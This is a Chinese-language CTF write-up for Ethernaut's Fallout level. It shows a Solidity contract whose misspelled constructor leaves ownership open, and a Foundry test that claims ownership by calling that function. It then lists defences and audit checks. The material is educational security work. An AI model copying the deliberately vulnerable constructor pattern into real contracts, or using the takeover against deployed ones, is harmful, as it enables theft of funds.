🎯 Ethernaut Level 2: Fallout - 构造函数命名漏洞

关卡链接: Ethernaut Level 2 - Fallout
攻击类型: 构造函数命名错误、历史漏洞
难度: ⭐☆☆☆☆

📋 挑战目标

这个关卡考查的是开发者在代码编写中的细心程度:

  1. 获取合约控制权 - 成为合约的 owner
  2. 理解历史漏洞 - 学习 Solidity 早期版本的安全问题
    请添加图片描述

🔍 漏洞分析

合约源码分析

pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
    
    using SafeMath for uint256;
    mapping (address => uint) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {  // 🚨 注意这里的拼写!
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

    modifier onlyOwner {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

    function allocatorBalance(address allocator) public view returns (uint) {
        return allocations[allocator];
    }
}

漏洞识别

仔细观察合约代码,我们发现一个极其微妙但致命的错误

// 合约名称
contract Fallout {

    /* constructor */
    function Fal1out() public payable {  // ❌ 这里是 "Fal1out" (数字1)
        owner = msg.sender;             // 而不是 "Fallout" (字母l)
        allocations[owner] = msg.value;
    }
}

历史背景

Solidity 0.4.22 之前,构造函数的定义方式是:

  • 创建一个与合约名称完全相同的函数
  • 该函数会在合约部署时自动执行一次

但在这个合约中:

  • 合约名称是 Fallout(字母 l)
  • 函数名称是 Fal1out(数字 1)

结果: 这个函数不是构造函数,而是一个普通的公开函数

攻击路径

  1. 识别伪装的构造函数 - 发现 Fal1out() 函数可以被任何人调用
  2. 直接调用函数 - 调用 Fal1out() 成为 owner
  3. 验证权限获取 - 确认已获得合约控制权

💻 Foundry 实现

攻击合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/Fallout.sol";

contract FalloutTest is Test {
    Fallout public instance;
    address public attacker = makeAddr("attacker");

    function setUp() public {
        // 部署目标合约
        instance = new Fallout();
        
        // 给攻击者一些初始资金
        vm.deal(attacker, 1 ether);
    }

    function testFalloutExploit() public {
        vm.startPrank(attacker);
        
        console.log("Original owner:", instance.owner());
        console.log("Attacker address:", attacker);
        
        // 攻击步骤:直接调用错误命名的"构造函数"
        instance.Fal1out{value: 0.001 ether}();
        
        // 验证攻击成功
        assertEq(instance.owner(), attacker);
        console.log("New owner:", instance.owner());
        
        vm.stopPrank();
    }
    
    function testOriginalOwnerIsZero() public view {
        // 验证合约部署后没有owner(因为构造函数未执行)
        assertEq(instance.owner(), address(0));
    }
}

运行测试

# 运行 Fallout 关卡测试
forge test --match-contract FalloutTest -vvv

# 预期输出:
# [PASS] testFalloutExploit()
# [PASS] testOriginalOwnerIsZero()

🛡️ 防御措施

现代 Solidity 解决方案

Solidity 0.4.22 开始,引入了 constructor 关键字:

pragma solidity ^0.8.0;

contract SecureFallout {
    address public owner;
    mapping (address => uint) allocations;
    
    // ✅ 使用 constructor 关键字
    constructor() {
        owner = msg.sender;
    }
    
    modifier onlyOwner {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }
    
    // 其他函数...
}

安全最佳实践

  1. 使用现代语法
// ❌ 旧版本(容易出错)
function ContractName() public {
    // 构造逻辑
}

// ✅ 新版本(明确且安全)
constructor() {
    // 构造逻辑
}
  1. 代码审计检查清单
// 检查项目:
// ✅ 构造函数名称与合约名称是否完全匹配
// ✅ 是否使用了现代 constructor 语法
// ✅ 是否有多个类似构造函数的函数
// ✅ 权限初始化是否正确执行
  1. 编译器警告
# 现代编译器会对可疑的函数名发出警告
Warning: Function state mutability can be restricted to pure
Warning: This function has the same name as the contract

📚 核心知识点

1. Solidity 版本演进

版本构造函数语法安全性
< 0.4.22function ContractName()❌ 容易拼写错误
>= 0.4.22constructor()✅ 明确且安全

2. 常见命名错误

contract MyContract {
    // ❌ 常见错误类型
    function MyContracr() public { }  // 拼写错误
    function myContract() public { }  // 大小写错误
    function MyContract_() public { } // 多余字符
    function MyContract() public { }  // 可能正确,但不推荐
}

3. 代码审计重点

  • 字符相似性检查 - 1 vs l, 0 vs O
  • 大小写敏感性 - Solidity 区分大小写
  • 额外字符检查 - 下划线、空格等
  • 编码问题 - Unicode 字符混用

🔍 实际案例分析

历史上的类似漏洞

  1. Rubixi 智能合约 (2016)

    • 合约从 DynamicPyramid 重命名为 Rubixi
    • 忘记更新构造函数名称
    • 导致任何人都可以成为 owner
  2. 其他类似案例

    • 复制粘贴代码时忘记修改函数名
    • 团队协作中的沟通失误
    • 自动化重构工具的缺陷

漏洞影响评估

  • 直接影响: 完全丧失合约控制权
  • 资金风险: 合约中的所有资金
  • 修复难度: 无法修复,需要重新部署
  • 检测难度: 极低,但容易被忽视

🎯 总结

Fallout 关卡展示了一个看似微不足道但后果严重的漏洞:

  • 细节决定成败 - 一个字符的差异导致完全不同的结果
  • 工具的重要性 - 现代编译器和工具可以避免此类错误
  • 代码审计的价值 - 人工审计能发现工具遗漏的问题
  • 版本升级的必要性 - 使用最新的安全特性

这个案例提醒我们,在智能合约开发中,没有小错误,只有大损失


🔗 相关链接


魔鬼藏在细节中,安全始于每一个字符。 🔍

Logo

开源鸿蒙跨平台开发社区汇聚开发者与厂商,共建“一次开发,多端部署”的开源生态,致力于降低跨端开发门槛,推动万物智联创新。

更多推荐